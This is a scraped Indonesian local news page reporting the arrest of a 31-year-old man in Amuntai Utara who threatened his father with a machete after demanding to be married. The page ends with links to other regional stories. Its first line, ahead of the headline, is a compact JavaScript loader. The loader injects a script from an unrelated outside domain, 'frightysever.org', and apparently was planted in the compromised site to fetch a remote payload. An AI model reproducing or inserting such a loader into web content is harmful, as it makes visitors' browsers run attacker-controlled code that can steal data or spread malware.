(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Ngebet Minta Kawin, F Ancam Ayah Sendiri Pakai Parang


KANALKALIMANTAN.COM, AMUNTAI – Seorang pemuda bujangan, F (31) warga Desa Cakru, Kecamatan Amuntai Utara, Kabupaten Hulu Sungai Utara (HSU) harus menginap di bui. Lantaran mengancam orangtuanya dengan senjata tajam jenis parang.

Belakangan pemuda tersebut ditangkap karena mengancam orangtuanya yang tak menggubris permintaan dirinya untuk dikawinkan.

Atas tindakan pemuda pengangguran itu, akhirnya berujung kepada penangkapan, setelah oleh orangtua sendiri dilaporkan ke

“Aksi pelaku sudah sering dilakukannya, sehingga kejadian tersebut dilaporkan ke Polsek Amuntai Utara untuk proses lebih lanjut,” ujar Kapolsek Amuntai Utara Ipda Budi Aji, Senin (15/2/2021).

Dari informasi yang diperoleh Kanalkalimantan di kepolisian, kejadian bermula ketika pelaku F mengancaman ayahnya dengan menggunakan senjata tajam jenis parang pada Sabtu (13/2/202) sekitar 17.00 Wita.

F saat itu meminta untuk dinikahkan akan tetapi tidak digubris oleh sang ayah.
Tak terima hal tersebut, F akhirnya nekat mengambil dua buah senjata tajam sambil menebaskannya ke pagar rumah, serta tiang rumah. F juga mengancam bakal merobohkan rumah orangtuanya dengan parang.

“Jika permintaannya tersebut tak dituruti pelaku nekad akan menebasnya,” kata Kapolsek Amuntai Utara.

Namun ketika mendengar sang ayahnya menelpon polisi, akhirnya pelaku membuang kedua senjata tajam tersebut ke arah kolam air.

Mendapat laporan dari warga, polisi bergerak cepat dengan mengamankan pelaku beserta barang bukti di Desa Cakru RT 03 RW 02 Kecamatan Amuntai Utara, selanjutnya dibawa ke Mapolsek Amuntai Utara.

Atas kejadian tersebut, pelaku bersama barang bukti dapat terjerat tindak pidana pengancaman dan atau membawa, memiliki atau menyimpan senjata tajam tanpa memiliki surat ijin yang sah sebagaimana dimaksud pasal 335 KUHPidana dan/atau pasal 2 Ayat (1) Undang Undang Darurat nomor 12 tahun 1951. (kanalkalimantan.com/dew)

 

 

Reporter : Dew
Editor : Bie

 

 


Al Ghifari

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

13 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

16 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

20 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

20 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

20 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

22 jam ago

This website uses cookies.